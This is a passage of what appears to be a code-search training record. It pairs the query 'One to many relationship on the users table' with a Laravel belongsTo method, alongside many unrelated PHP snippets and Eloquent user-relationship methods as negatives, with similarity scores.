{\n\t\t\t\tif ( preg_match( '/'. $prefix .'[-]\\w+/', $key ) ) {\n\t\t\t\t\t$this->attributes[ $key ] = $val;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "protected static function addElementIds(DOMDocument $ir)\n\t{\n\t\t$id = 0;\n\t\tforeach ($ir->getElementsByTagName('element') as $element)\n\t\t{\n\t\t\t$element->setAttribute('id', ++$id);\n\t\t}\n\t}", "function addLocatorItems()\n\t{\n\t\tglobal $ilLocator;\n\t\t\n\t\tif (is_object($this->object))\n\t\t{\n\t\t\t$ilLocator->addItem($this->object->getTitle(),\n\t\t\t\t$this->getGotoLink($this->object->getRefId()), \"\", $_GET[\"ref_id\"]);\n\t\t}\n\t}", "public function translate_property_types_attributes( $data ) {\n\n if( !empty( $data['wpp_settings'][ 'property_types' ] ) ) {\n\n $type_package = array(\n 'kind' => 'Property Types',\n 'name' => 'custom-types',\n 'title' => 'Property Types',\n );\n\n $types = $data['wpp_settings'][ 'property_types' ];\n\n $this->delete_strings_translation( $type_package, $types );\n\n foreach($types as $key => $type){\n do_action('wpml_register_string', $type , $key , $type_package , $type , 'LINE');\n }\n\n }\n\n if( !empty( $data['wpp_settings']['property_stats'] ) ) {\n\n $attributes_package = array(\n 'kind' => 'Property Attributes',\n 'name' => 'custom-attributes',\n 'title' => 'Property Attributes',\n );\n $attributes = $data['wpp_settings']['property_stats'];\n\n $this->delete_strings_translation( $attributes_package, $attributes );\n\n foreach($attributes as $key => $attibute){\n do_action('wpml_register_string', $attibute , $key , $attributes_package , $attibute , 'LINE');\n }\n\n }\n\n \n if( !empty( $data['wpp_settings']['property_meta'] ) ) {\n\n $meta_package = array(\n 'kind' => 'Property Meta',\n 'name' => 'custom-meta',\n 'title' => 'Property Meta',\n );\n $metas = $data['wpp_settings']['property_meta'];\n\n $this->delete_strings_translation( $meta_package, $metas );\n\n foreach($metas as $key => $meta){\n do_action('wpml_register_string', $meta , $key , $meta_package , $meta , 'LINE');\n }\n\n }\n\n // @todo: move it to 'WP-Property: Terms' plugin ( add-on ). peshkov@UD\n if( !empty( $data[ 'wpp_terms' ] ) ) {\n\n $terms_package = array(\n 'kind' => 'Property Term',\n 'name' => 'custom-term',\n 'title' => 'Property Term',\n );\n\n $wpp_terms = $data['wpp_terms']['taxonomies'];\n\n $this->delete_strings_translation( $terms_package, $wpp_terms );\n\n foreach($wpp_terms as $key => $term){\n do_action('wpml_register_string', $term['label'] , $key , $terms_package , $term['label'] , 'LINE');\n }\n\n }\n\n if( !empty( $data['wpp_settings']['property_groups'] ) ) {\n\n $groups_package = array(\n 'kind' => 'Property Groups',\n 'name' => 'custom-groups',\n 'title' => 'Property Groups',\n );\n $property_groups = $data['wpp_settings']['property_groups'];\n\n $this->delete_strings_translation( $groups_package, $property_groups );\n\n foreach($property_groups as $key => $group){\n do_action('wpml_register_string', $group['name'] , $key , $groups_package , $group['name'] , 'LINE');\n }\n\n }\n\n if( !empty( $data['wpp_settings']['predefined_values'] ) ) {\n\n $attributes_values_package = array(\n 'kind' => 'Property Attributes Values',\n 'name' => 'custom-attributes-value',\n 'title' => 'Property Attributes Values',\n );\n $attributes_values = $data['wpp_settings']['predefined_values'];\n\n $this->delete_strings_translation( $attributes_values_package, $attributes );\n\n foreach($attributes_values as $key => $value){\n if( $value ){\n do_action('wpml_register_string', $value , $key , $attributes_values_package , $value , 'LINE');\n }\n }\n\n }\n\n }", "public function buildOptionsIdFromUid()\n {\n if (empty($this->uid))\n throw new \\Exception(\"A uid is required.\");\n \n return [\n new Endpoint\\UsersEndpoint(),\n [\n BuildRequestOptions::FILTERS => [\n new \\Validic\\Filter\\UidFilter($this->uid)\n ]\n ]\n ];\n }", "public function toOptionIdArray($collection)\n {\n $res = array();\n $existingIdentifiers = array();\n foreach ($collection as $item) {\n $identifier = $item->getData('identifier');\n\n $data['value'] = $identifier;\n $data['label'] = $item->getData('title');\n\n if (in_array($identifier, $existingIdentifiers)) {\n $data['value'] .= '|' . $item->getData('page_id');\n } else {\n $existingIdentifiers[] = $identifier;\n }\n\n $res[] = $data;\n }\n\n return $res;\n }", "protected function buildPropertyInfoAlter() {\n }", "function media_theplatform_mpx_get_tp_ids() {\n return array(\n 'categories',\n 'header',\n 'info',\n 'player',\n 'releases',\n 'search',\n 'tpReleaseModel1',\n );\n}", "public function tempId()\n {\n $this->id = uniqid('item');\n }", "public function ids() {\n\t\t$q = $this->query();\n\t\t$q->select(Salesperson::aliasproperty('id'));\n\t\treturn $q->find()->toArray();\n\t}", "public function getMorphologyListAttribute()\n {\n return $this->allmorphologys->pluck('id')->all();\n }", "public function getMultipleWishlistId();", "public function getCombinedIdentifier() {}", "public function getCombinedIdentifier() {}", "public function getCombinedIdentifier() {}", "function admin_get_idtemplates()\n{\n global $app;\n\n $idtemplates = $app->bbs->idTemplates();\n $idtypes = $app->calibre->idTypes();\n $ids2add = [];\n foreach ($idtypes as $idtype) {\n if (empty($idtemplates)) {\n array_push($ids2add, $idtype['type']);\n } else {\n $found = false;\n foreach ($idtemplates as $idtemplate) {\n if ($idtype['type'] === $idtemplate->name) {\n $found = true;\n break;\n }\n }\n if (!$found) {\n array_push($ids2add, $idtype['type']);\n }\n }\n }\n foreach ($ids2add as $id2add) {\n $ni = new IdUrlTemplate();\n $ni->name = $id2add;\n $ni->val = '';\n $ni->label = '';\n array_push($idtemplates, $ni);\n }\n $app->getLog()->debug('admin_get_idtemplates ' . var_export($idtemplates, true));\n $app->render('admin_idtemplates.html', [\n 'page' => mkPage(getMessageString('admin_idtemplates'), 0, 2),\n 'templates' => $idtemplates,\n 'isadmin' => is_admin()]);\n}", "public function addOwners(): void\n {\n foreach ($this->attributes as $attributeName) {\n $this->linkModelWithOwner($attributeName, $this->owner->{$attributeName});\n }\n }", "function updateProperties($mutations);", "public function setIds($arrIds);", "public function getIds() {\n $sources = array();\n \n $sources[] = $this->id;\n \n foreach ($this->points as &$g) {\n $sources[] = $g->id;\n }\n foreach ($this->lines as &$g) {\n $sources[] = $g->id;\n }\n foreach ($this->polygons as &$g) {\n $sources[] = $g->id;\n }\n if ( !empty($this->address) ) {\n $sources[] = $this->address->id;\n }\n foreach ($this->relationships as &$r) {\n $sources[] = $r->id;\n }\n \n return array_filter($sources);\n }", "public function getCollectionMemberIds()\n {\n return $this->collection_member_ids;\n }", "abstract protected function draggable_items_repeated_options();", "public function getUuids();", "function getUserIds() {\n\t\t$charIds = $this->getCharIds();\n\t\t$idsToReturn = array();\n\t\tforeach ($charIds as $id) {\n\t\t\n\t\t\t$idsToReturn[] = getOneThing(\"playedby\", \"gamestate_characters\", \"id=$id and gameid=$this->gameId\");\n\t\t\n\t\t}\n\t\tdbug(\"getUserIds is about to return \".implode(\", \", $idsToReturn));\n\t\treturn $idsToReturn;\n\t}", "function referentiel_boites_selections_users($cm, $course, $context, $mode, $referentiel_instance, $initiale=0, $userids='', $userid_filtre=0, $gusers=NULL, $select_acc=0) {\r\n// idem que referentiel_print_evalue_liste_activite()\r\n// mais specialise modification\r\n// form globale\r\n\r\nglobal $CFG;\r\nglobal $USER;\r\nstatic $istutor=false;\r\nstatic $isteacher=false;\r\nstatic $isauthor=false;\r\nstatic $iseditor=false;\r\nstatic $referentiel_id = NULL;\r\n\r\n$record_id_users=array();\r\n\r\n\t$referentiel_id = $referentiel_instance->ref_referentiel;\r\n\t$iseditor = has_capability('mod/referentiel:writereferentiel', $context);\r\n\t$isteacher = has_capability('mod/referentiel:approve', $context)&& !$iseditor;\r\n\t$istutor = has_capability('mod/referentiel:comment', $context) && !$iseditor && !$isteacher;\r\n\t$isauthor = has_capability('mod/referentiel:write', $context) && !$iseditor && !$isteacher && !$istutor;\r\n\r\n\tif (!empty($referentiel_instance->ref_referentiel)){\r\n\t\t// boite pour selectionner les utilisateurs ?\r\n\t\tif ($isteacher || $iseditor || $istutor){\r\n\t\t\tif (!empty($select_acc)){\r\n // eleves accompagnes\r\n $record_id_users = referentiel_get_accompagnements_teacher($referentiel_instance->id, $course->id, $USER->id);\r\n }\r\n\t\t\telse{\r\n // tous les users possibles (pour la boite de selection)\r\n\t\t\t\t// Get your userids the normal way\r\n $record_id_users = referentiel_get_students_course($course->id,0,0); //seulement les stagiaires\r\n\t\t\t}\r\n if ($gusers && $record_id_users){ // liste des utilisateurs du groupe courant\r\n\t\t\t\t$record_users = array_intersect($gusers, array_keys($record_id_users));\r\n\t\t\t\t// recopier\r\n\t\t\t\t$record_id_users=array();\r\n\t\t\t\tforeach ($record_users as $record_id){\r\n\t\t\t\t\t$a = new Object();\r\n\t\t\t\t\t$a->userid=$record_id;\r\n\t\t\t\t\t$record_id_users[]=$a;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t// Ajouter l'utilisateur courant pour qu'il voit ses activités\r\n\t\t\t$a = new Object();\r\n\t\t\t$a->userid=$USER->id;\r\n\t\t\t$record_id_users[]=$a;\r\n echo referentiel_select_users_activite_accompagnes($userid_filtre, $select_acc, $mode);\r\n echo referentiel_select_users_activite_2($record_id_users, $userid_filtre, $select_acc, $mode, $initiale);\r\n\t\t}\r\n }\r\n}", "function getMonitorIds() {\n\t\t$MonitorElementObject = new MonitorElement('artifact');\n\t\treturn $MonitorElementObject->getMonitorUsersIdsInArray($this->getID());\n\t}", "private function setAdmins($ids,$log=false){\n \t$adminPermission = $this->getAdminPermission();\n \tforeach ($ids as $id)\n \t\tNewDao::getInstance()->insert('user_permissions',array('user_id'=>$id,'permission_id'=>$adminPermission),$log);\n }", "public function setSharedAttributes(array $ids = []): void\n {\n $xml = '';\n\n foreach ($ids as $id) {\n $xml .= '<shared-variation-attribute\n variation-attribute-id=\"' . Xml::escape($id) . '\"\n attribute-id=\"' . Xml::escape($id) . '\"\n ></shared-variation-attribute>';\n }\n\n $this->elements['attributes'] = $xml;\n\n $this->addVariations();\n }", "function action_unique_attribute_list() {\n $this->layout = null;\n\n $this->model = DB::model('Model')->fetch($_REQUEST['model_id']);\n if ($this->model->value['id']) {\n $this->model->bindMany('Attribute');\n }\n }", "function editor_joins(){\n //\n //begin with an empty collection of joins \n $joins=[];\n //\n //Push the editor joins also\n foreach ($this->editor_joins as $join){\n array_push($joins, $join);\n }\n //\n //Set the new joins \n $this->joins=new joins($joins);\n }", "function cc_insert_agencies(){\n\t\n\t// 1. recupero elenco di tutti gli immobili\n\t$args = array(\n\t 'numberposts' => -1,\n\t 'post_type' => 'property'\n\t);\n\n\t$immobili = get_posts( $args );\t\n\t\n\t// 2. loop immobili trovati\n\tif($immobili){\n\t\tforeach($immobili as $immobile){\n\t\t\t$idimmobile = (int) $immobile->ID;\n\t\t\t$rif = (string) get_post_meta($idimmobile, \"fave_property_id\", true);\n\t\t\t\n\t\t\techo $idimmobile . \" => \" . $rif;\n\t\t\t\n\t\t\t// 3. richiamo cc_get_agency passando codice immobile, questo mi resistuisce agente, agenzia e user del record\n\t\t\t$aau = cc_get_agency($rif);\n\t\t\t\n\t\t\tif(!empty($aau['fave_property_agency'])) update_post_meta($idimmobile, 'fave_property_agency', $aau['fave_property_agency']);\n\t\t\tif(!empty($aau['fave_agents'])) update_post_meta($idimmobile, 'fave_agents', $aau['fave_agents']);\n\t\t\tif(!empty($aau['post_author'])){\n\t\t\t\t\n\t\t\t\t$arg = array(\n\t\t\t\t\t'ID' => $idimmobile,\n\t\t\t\t\t'post_author' => $aau['post_author'],\n\t\t\t\t);\n\t\t\t\twp_update_post( $arg );\t\t\t\t\n\t\t\t\t\n\t\t\t} // end if post_author\t\t\n\t\t\t\n\t\t\techo \" agenzia: \".$aau['fave_property_agency']. \" - agente: \" . $aau['fave_agents'] . \" - author: \" . $aau['post_author'] . \"<br>\\n\";\n\t\t\t\n\t\t} // end foreach\n\t\t$n = count($immobili);\n\t\techo \"Updated \".$n.\" properties.\";\n\t\tdie();\n\t} // end if immobili\t\t\n\t\n}", "public function products_id()\n {\n foreach ($_SESSION['cart'] as $id => $quaty){\n $product_id[] = \"($id, $quaty)\";\n $product = Data::find_by_id($id);\n $id = array('id' => 'No: '. $product->id, 'name' => ' '. $product->name, 'price' => ' €'.$product->price, 'quaty' => ' qty '.$quaty, 'cost' => ' = €'.$product->price * $quaty .'</br>');\n foreach ($id as $key => $value){\n echo /*$key .' = '.*/ $value; /*echo \", \"; &nbsp; = spatie*/\n }\n }\n // $insert_id = implode(',', $product_id);\n }", "public function addForeignKeys($setup)\n {\n /**\n * Add foreign keys for table wk_amazon_mapped_product\n */\n $setup->getConnection()->addForeignKey(\n $setup->getFkName(\n 'wk_amazon_mapped_product',\n 'magento_pro_id',\n 'catalog_product_entity',\n 'entity_id'\n ),\n $setup->getTable('wk_amazon_mapped_product'),\n 'magento_pro_id',\n $setup->getTable('catalog_product_entity'),\n 'entity_id',\n \\Magento\\Framework\\DB\\Ddl\\Table::ACTION_CASCADE\n );\n\n /**\n * Add foreign keys for table wk_amazon_maped_order\n */\n $setup->getConnection()->addForeignKey(\n $setup->getFkName(\n 'wk_amazon_maped_order',\n 'mage_amz_account_id',\n 'wk_amazon_accounts',\n 'entity_id'\n ),\n $setup->getTable('wk_amazon_maped_order'),\n 'mage_amz_account_id',\n $setup->getTable('wk_amazon_accounts'),\n 'entity_id',\n \\Magento\\Framework\\DB\\Ddl\\Table::ACTION_CASCADE\n );\n }", "public function users_toolbox( $tool, $obj ){\n \n // array of tools\n $arr = array(\n \n /* display all the users registered with garage sale */\n 'display' => function($obj){\n \n /* ====================\n * SQL select all users\n */\n $stmt = $obj->app->db->select('users');\n \n // join with settings\n $stmt->inner_join( array(\n 'table' => 'profiles',\n 'other' => 'userid',\n 'this' => 'id'\n ) );\n \n // get result\n $result = $obj->app->db->statement_result($stmt);\n \n // add to view\n $obj->view->add('users_result',$result);\n \n \n // succeed\n return admin::TOOL_SUCCESS;\n },\n \n \n /* Advance a users status within the Garage */\n 'advanceuser' => function($obj){\n \n // validate get\n if( !isset($_GET['u']) ){\n return admin::TOOL_FAIL;\n }\n \n // get the users result using toolbox\n $func = $obj->users_toolbox('user_result',$obj);\n $result = $func($obj);\n \n // add to view\n $obj->view->add('users_result',$result);\n \n // ask for confirmation\n $obj->view->add('confirm_action','promoteuser');\n \n \n $lvl_name = 'STANDARD';\n \n // output what the user will now be\n if( $result[0]['userlevel'] >= 20 ){\n // is a manager, go to admin\n $lvl_name = 'ADMIN';\n }else if( $result[0]['userlevel'] >= 10 ){\n \n // is a moderator go to manager\n $lvl_name = 'MANAGER';\n }else if( $result[0]['userlevel'] >= 0 ){\n \n // is standard, go to moderator\n $lvl_name = 'MODERATOR';\n }\n \n $message = <<< MSG\n You are about to promote this user to a(n): <br />\n $lvl_name\nMSG;\n $obj->view->add('confirm_message',$message);\n \n // succeed\n return admin::TOOL_SUCCESS;\n \n },\n \n \n /* ----------------------\n * Perform user promotion\n */\n 'promoteuser' => function($obj){\n \n // validate get\n if( !isset($_GET['u']) ){\n return admin::TOOL_FAIL;\n }\n \n // get user result using toolbox\n $func = $obj->users_toolbox('user_result',$obj);\n $result = $func($obj);\n \n // perform promotion\n if( count($result) < 1 ){\n return admin::TOOL_FAIL;\n }\n \n \n // get previous user level\n if( $result[0]['userlevel'] >= 30 ){\n \n // nope, faile it\n return admin::TOOL_FAIL;\n } elseif( $result[0]['userlevel'] >= 20 ){\n \n // manager, go to admin\n $usrlvl = 30;\n } elseif( $result[0]['userlevel'] >= 10 ){\n \n // moderator, go to manager\n $usrlvl = 20;\n } else {\n \n // standard go to moderator\n $usrlvl = 10;\n }\n \n \n \n /* ========================\n * SQL to execute promotion\n */\n \n $stmt = $obj->app->db->update('users');\n \n // where\n $stmt->where('id','i',$result[0]['id']);\n \n // values\n $stmt->values( array(\n \n // userlevel\n array(\n 'name' => 'userlevel',\n 'type' => 'i',\n 'value'=> $usrlvl\n )\n ));\n \n // attempt\n $success = $obj->app->db->statement_execute($stmt);\n \n if( !$success ){\n \n // good to go\n return admin::TOOL_FAIL;\n }\n \n $obj->app->redirect('admin/users');\n },\n \n \n /* ---------------------\n * Perform user demotion\n */\n 'demoteuser' => function($obj){\n \n // validate get\n if( !isset($_GET['u']) ){\n return admin::TOOL_FAIL;\n }\n \n // get user result using toolbox\n $func = $obj->users_toolbox('user_result',$obj);\n $result = $func($obj);\n \n // perform promotion\n if( count($result) < 1 ){\n return admin::TOOL_FAIL;\n }\n \n \n // get previous user level\n if( $result[0]['userlevel'] >= 30 ){\n \n // admin to manager\n $usrlvl = 20;\n } elseif( $result[0]['userlevel'] >= 20 ){\n \n // manager to moderator\n $usrlvl = 10;\n } elseif( $result[0]['userlevel'] >= 10 ){\n \n // moderator to standard\n $usrlvl = 0;\n } else {\n \n // nope, faile it\n return admin::TOOL_FAIL;\n }\n \n \n \n /* ========================\n * SQL to execute promotion\n */\n \n $stmt = $obj->app->db->update('users');\n \n // where\n $stmt->where('id','i',$result[0]['id']);\n \n // values\n $stmt->values( array(\n \n // userlevel\n array(\n 'name' => 'userlevel',\n 'type' => 'i',\n 'value'=> $usrlvl\n )\n ));\n \n // attempt\n $success = $obj->app->db->statement_execute($stmt);\n \n if( !$success ){\n \n // good to go\n return admin::TOOL_FAIL;\n }\n \n $obj->app->redirect('admin/users');\n },\n \n \n /* --------------------------------------- \n * Lowers a users status within the Garage \n */\n 'devanceuser' => function($obj){\n \n // validate get\n if( !isset($_GET['u']) ){\n return admin::TOOL_FAIL;\n }\n \n // get the users result using toolbox\n $func = $obj->users_toolbox('user_result',$obj);\n $result = $func($obj);\n \n // add to view\n $obj->view->add('users_result',$result);\n \n // ask for confirmation\n $obj->view->add('confirm_action','demoteuser');\n \n \n // level name\n $lvl_name = 'GUEST';\n \n // output what the user will now be\n if( $result[0]['userlevel'] > 20 ){\n \n // is an admin, go to manager\n $lvl_name = 'MANAGER';\n }else if( $result[0]['userlevel'] > 10 ){\n \n // is a manager go to moderator\n $lvl_name = 'MODERATOR';\n }else if( $result[0]['userlevel'] > 0 ){\n \n // is moderator, go to standard\n $lvl_name = 'STANDARD';\n }\n \n $message = <<< MSG\n You are about to demote this user to a(n): <br />\n $lvl_name\nMSG;\n $obj->view->add('confirm_message',$message);\n \n // succeed\n return admin::TOOL_SUCCESS;\n \n },\n \n \n \n /* Get single user data as provided by url get */\n 'user_result' => function($obj){\n \n /* =======================\n * SQL select current user\n */\n $stmt = $obj->app->db->select('users');\n \n // join with settings\n $stmt->inner_join( array(\n 'table' => 'profiles',\n 'other' => 'userid',\n 'this' => 'id'\n ) );\n \n // set where\n $stmt->where('id','i',$_GET['u'],'AND','users');\n \n // get result\n return $obj->app->db->statement_result($stmt);\n }\n \n );\n \n // check if exists\n if( isset( $arr[$tool] ) ){\n return $arr[$tool];\n }\n \n // otherwise fail\n return null;\n \n }", "public function getItemIds();", "public function getGroupByPropertyIdOptions()\n {\n return ['' => trans('offline.mall::lang.common.none')]\n + $this->categories->flatMap->properties->filter(function ($q) {\n return $q->pivot->use_for_variants;\n })->pluck('name', 'id')->toArray();\n }", "public function getVidaUtil() {\n return $this->nVidaUtil;\n }", "public function getDataForMakeIdMethod(): array\n {\n return [\n 0 => [\n 0 => [\n 'userId' => 8,\n ],\n ],\n ];\n }", "public function appendItemIds($value)\n {\n return $this->append(self::_ITEM_IDS, $value);\n }" ]
[ "0.5778601", "0.5004662", "0.49143374", "0.47113052", "0.46814117", "0.46080622", "0.4601683", "0.45984155", "0.45729363", "0.45483688", "0.45133397", "0.45086017", "0.4493528", "0.44639462", "0.4408339", "0.4395268", "0.4361364", "0.43528295", "0.4346339", "0.4341085", "0.43277693", "0.43240348", "0.43217227", "0.43144715", "0.4307458", "0.43065324", "0.43012437", "0.4288181", "0.42853534", "0.4275024", "0.42733178", "0.4261297", "0.425927", "0.42543268", "0.42471486", "0.42416337", "0.42356694", "0.4233348", "0.42197737", "0.42194143", "0.42194143", "0.4218024", "0.4218024", "0.41882983", "0.418432", "0.41802678", "0.41718736", "0.41717613", "0.41668996", "0.41648227", "0.41584036", "0.4147159", "0.41461402", "0.41395524", "0.41380772", "0.4131811", "0.41291842", "0.41257817", "0.4120389", "0.41193786", "0.41149652", "0.40978384", "0.4096426", "0.4095634", "0.40945092", "0.40939283", "0.4093858", "0.40905258", "0.408611", "0.40733758", "0.4067263", "0.40672487", "0.4065322", "0.40636194", "0.40635517", "0.40635517", "0.40610474", "0.40603", "0.40591043", "0.40575522", "0.40570843", "0.40567905", "0.40497747", "0.40401444", "0.40393922", "0.4032229", "0.40291217", "0.4028611", "0.40245628", "0.4021832", "0.40199482", "0.40144098", "0.40123925", "0.4001973", "0.40001595", "0.3995752", "0.3995414", "0.3988247", "0.39866215", "0.39862016" ]
0.7843064
0
One to many relationship on the users table.
public function user() { return $this->belongsTo('App\Models\Users\User'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function users() : BelongsToMany\n {\n return $this->belongsToMany(User::class);\n }", "public function users(): HasMany\n {\n return $this->hasMany(config('auth.providers.users.model'));\n }", "public function users(): BelongsToMany\n {\n return $this->belongsToMany('App\\Models\\User');\n }", "public function user() {\n return $this->belongsToMany('\\App\\User');\n }", "public function users()\n {\n # Define a many-to-many relationship.\n return $this->belongsToMany('\\PeerReview\\User')->withTimestamps();\n }", "public function user() {\n return $this->belongsToMany('App\\User');\n }", "public function users() {\n return $this->belongsToMany('App\\User');\n }", "public function users(): BelongsToMany\n {\n return $this->belongsToMany(HCUser::class, HCUserRole::getTableName(), 'role_id', 'user_id');\n }", "public function users() {\n return $this->belongsToMany('User');\n }", "public function users(): BelongsToMany\n {\n return $this->belongsToMany(\n User::class,\n 'user_roles',\n 'role_id',\n 'user_id'\n );\n }", "public function users(){\n return $this->belongsToMany('App\\User');\n }", "public function users() {\n\t\treturn $this -> belongsToMany('User');\n\t}", "public function users() {\n\t\treturn $this->hasMany('App\\Library\\Models\\User');\n\t}", "public function users()\n {\n return $this->belongsToMany('App\\User');\n }", "public function users()\n {\n return $this->belongsToMany('App\\User');\n }", "public function users()\n {\n return $this->belongsToMany('App\\User');\n }", "public function users()\n {\n return $this->belongsToMany('\\App\\User');\n }", "public function users()\n {\n return $this->belongsToMany('\\App\\User');\n }", "public function users ()\n {\n return $this->belongsToMany('App\\User');\n }", "public function users(){\n return $this->belongsToMany('App\\User');\n }", "public function user()\n {\n return $this->belongsToMany('App\\User');\n }", "public function user()\n {\n return $this->belongsToMany('App\\User');\n }", "public function users() {\n return $this->hasMany('App\\User');\n }", "public function users() {\n return $this->hasMany('App\\User');\n }", "protected function users() {\n return $this->hasMany('Reportr\\Entities\\User');\n }", "public function users()\n {\n return $this->hasMany('App\\Models\\User');\n }", "public function users()\n {\n return $this->belongsToMany(\"App\\User\");\n }", "public function users()\n {\n return $this->belongsToMany(\"App\\User\");\n }", "public function users()\n\t\t{\n\t\t\treturn $this->belongsToMany(User::class, 'id_user');\n\t\t}", "public function users()\n {\n return $this->belongsToMany('App\\User');\n\n }", "public function users(): BelongsToMany\n {\n return $this->belongsToMany(User::class)\n ->withPivot(['nickname', 'role'])\n ->as('conversation_user')\n ->using(ConversationUser::class);\n }", "public function users(): BelongsToMany\n {\n return $this->belongsToMany(Hotstream::userModel(), Hotstream::membershipModel())\n ->withPivot('role')\n ->withTimestamps()\n ->as('membership');\n }", "public function users()\n {\n return $this->belongsToMany (\\App\\User::class);\n }", "public function users()\n\t{\n\t return $this->belongsToMany('User');\n\t}", "public function users()\n {\n return $this->hasMany('App\\User');\n }", "public function users()\n {\n return $this->hasMany('App\\User');\n }", "public function users()\n {\n return $this->hasMany('App\\User');\n }", "public function users()\n {\n return $this->hasMany('App\\User');\n }", "public function users()\n {\n return $this->hasMany('App\\User');\n }", "public function users()\n {\n return $this->hasMany('App\\User');\n }", "public function users()\n {\n return $this->hasMany('App\\User');\n }", "public function users()\n {\n return $this->hasMany('App\\User');\n }", "public function users()\n {\n return $this->hasMany('App\\User');\n }", "public function users()\n {\n return $this->hasOne('App\\User');\n }", "public function users()\n {\n return $this->belongsToMany(User::class);\n }", "public function users()\n {\n return $this->belongsToMany(User::class);\n }", "public function users()\n {\n return $this->belongsToMany(User::class);\n }", "public function users()\n {\n return $this->belongsToMany(User::class);\n }", "public function users(): BelongsToMany\n {\n return $this->belongsToMany(\n 'App\\User',\n config('permission.table_names.role_tenant_user')\n );\n }", "public function users()\n {\n \treturn $this->belongsToMany(User::class);\n }", "public function users(){\n return $this->belongsToMany(User::class);\n }", "public function users()\n {\n return $this->hasMany(Users::class, 'id', 'user_id');\n }", "public function users(): BelongsToMany\n {\n return $this->belongsToMany(User::class)->using(AchievementUser::class)->withTimestamps();\n }", "public function users()\n {\n return $this->hasMany(User::class, 'user_id');\n }", "public function users()\n {\n return $this->hasMany(User::class, 'id', 'user_id');\n }", "public function users() {\n return $this->hasMany(User::class);\n }", "public function users()\n {\n return $this->belongsToMany(User::class, 'social_users', 'social_login_id', 'user_id')->using(SocialUser::class);\n }", "public function users()\n {\n return $this->belongsToMany(User::class, 'role_user', 'role_id', 'user_id');\n }", "public function users()\n {\n return $this->hasMany(User::class);\n }", "public function users()\n {\n return $this->hasMany(User::class);\n }", "public function users()\n {\n return $this->hasMany(User::class);\n }", "public function users()\n {\n return $this->hasMany(User::class);\n }", "public function users()\n {\n return $this->hasMany(User::class);\n }", "public function users(){\n return $this->belongsToMany('cms\\User');\n }", "public function users(){\n \n return $this->hasMany('App\\User');\n\n }", "public function users()\n {\n return $this->hasMany('hospital\\User');\n }", "public function users()\n {\n return $this->belongsToMany(Config::get('guardian.user'), Config::get('guardian.role_user_table'), Config::get('guardian.role_foreign_key'), Config::get('guardian.user_foreign_key'));\n }", "public function users()\n {\n return $this\n ->belongsToMany(User::class, 'user_skills', 'user_id', 'skill_id');\n }", "public function users()\n {\n return $this->belongsToMany($this->getAppNamespace() . 'User');\n }", "public function user(){\n return $this->belongsTo(User::class, 'user_id', 'id');//https://laravel.com/docs/5.8/eloquent-relationships#one-to-many\n }", "public function users(){\n\t\t//no usa el namespace\n return $this->hasMany('App\\User');\n }", "public function userJoin() {\n return $this->belongsToMany('App\\Model\\User', 'trip_users');\n }", "public function users()\n {\n return $this->belongsToMany(SocialAuth::class);\n }", "public function users(){\n\t\treturn $this->belongsToMany('Alsaudi\\\\Eloquent\\\\UserRelation',\n\t\t\t'trip_user','trip_id','user_id');\n\t}", "public function users()\n {\n return $this->belongsToMany('App\\Models\\User', 'user_team_join', 'team_id', 'user_id');\n }", "public function users(){\n return $this->belongsToMany(Config::get('auth.providers.users.model'), Config::get('entrust.role_user_table'),Config::get('entrust.role_foreign_key'),Config::get('entrust.user_foreign_key'));\n // return $this->belongsToMany(Config::get('auth.model'), Config::get('entrust.role_user_table'));\n }", "public function users()\n {\n /** @var \\UserFrosting\\Sprinkle\\Core\\Util\\ClassMapper $classMapper */\n $classMapper = static::$ci->classMapper;\n\n return $this->belongsToManyThrough(\n $classMapper->getClassMapping('user'),\n $classMapper->getClassMapping('role'),\n 'permission_roles',\n 'permission_id',\n 'role_id',\n 'role_users',\n 'role_id',\n 'user_id'\n );\n }", "public function users()\n {\n return $this->hasMany(Role::class, 'role_id');\n }", "public function users()\n {\n return $this->morphToMany('App\\User', 'userOwnable', 'HoldMyBeer_UserOwnable', 'userOwnableId', 'userId');\n }", "public function users()\n {\n return $this->hasMany('App\\User','id', 'role_id');\n }", "public function user()\n {\n \treturn $this->hasMany('App\\User');\n }", "public function users() {\n return $this->belongsToMany('\\P4\\User')->withTimestamps();\n }", "public function user()\n {\n return $this->hasMany(User::class);\n }", "public function user(){\n return $this->hasMany('App\\Models\\User');\n }", "public function users()\n {\n return $this->belongsToMany(Config::get('auth.providers.users.model'), Config::get('entrust-branch.role_user_table'),Config::get('entrust-branch.role_foreign_key'),Config::get('entrust-branch.user_foreign_key'));\n // return $this->belongsToMany(Config::get('auth.model'), Config::get('entrust-branch.role_user_table'));\n }", "public function users()\n {\n return $this->hasMany('App\\User')->get();\n }", "public function users()\n {\n return $this->belongsToMany(User::class, 'event_role_user');\n }", "public function users() {\n return $this -> belongsToMany(Author::class);\n }", "public function users()\n {\n return $this->hasManyThrough(User::class, UserConfig::class);\n }", "public function users()\n\t{\n\t\treturn $this->belongsToMany('App\\User')->withTimestamps();\n\t}", "public function users()\n {\n return $this->belongsToMany('MDH\\Users\\User')->withTimestamps();\n }", "public function users()\n {\n return $this->morphMany(User::class, 'userable');\n }", "public function users()\n {\n return $this->belongsToMany(\n User::class, 'role_user', 'role_id', 'user_id'\n )->withTimestamps();\n }", "public function usuarios(){\n return $this->hasMany('App\\Models\\User');\n }", "public function users()\n {\n return $this->belongsToMany(User::class, 'user_technologies');\n }", "public function users()\n {\n return $this->belongsToMany(\n config('auth.model') ?: config('auth.providers.users.model'),\n config('laravel-authorisation.table_names.user_has_roles')\n );\n }", "public function user(){\n return $this->hasMany('App\\User');\n }", "public function users()\n {\n \treturn $this->belongsToMany('App\\User')->withTimestamps();\n }", "public function users() {\n\t\treturn $this->belongsTo('App\\Models\\User', 'user_id', 'id');\n\t}", "public function users()\n {\n return $this->belongsToMany(User::class, 'leave_user');\n }", "public function users()\r\n {\r\n return $this->belongsToMany(config('bootstrap-menu.models.user'), config('bootstrap-menu.relations.permission_user'))->withTimestamps();\r\n }" ]
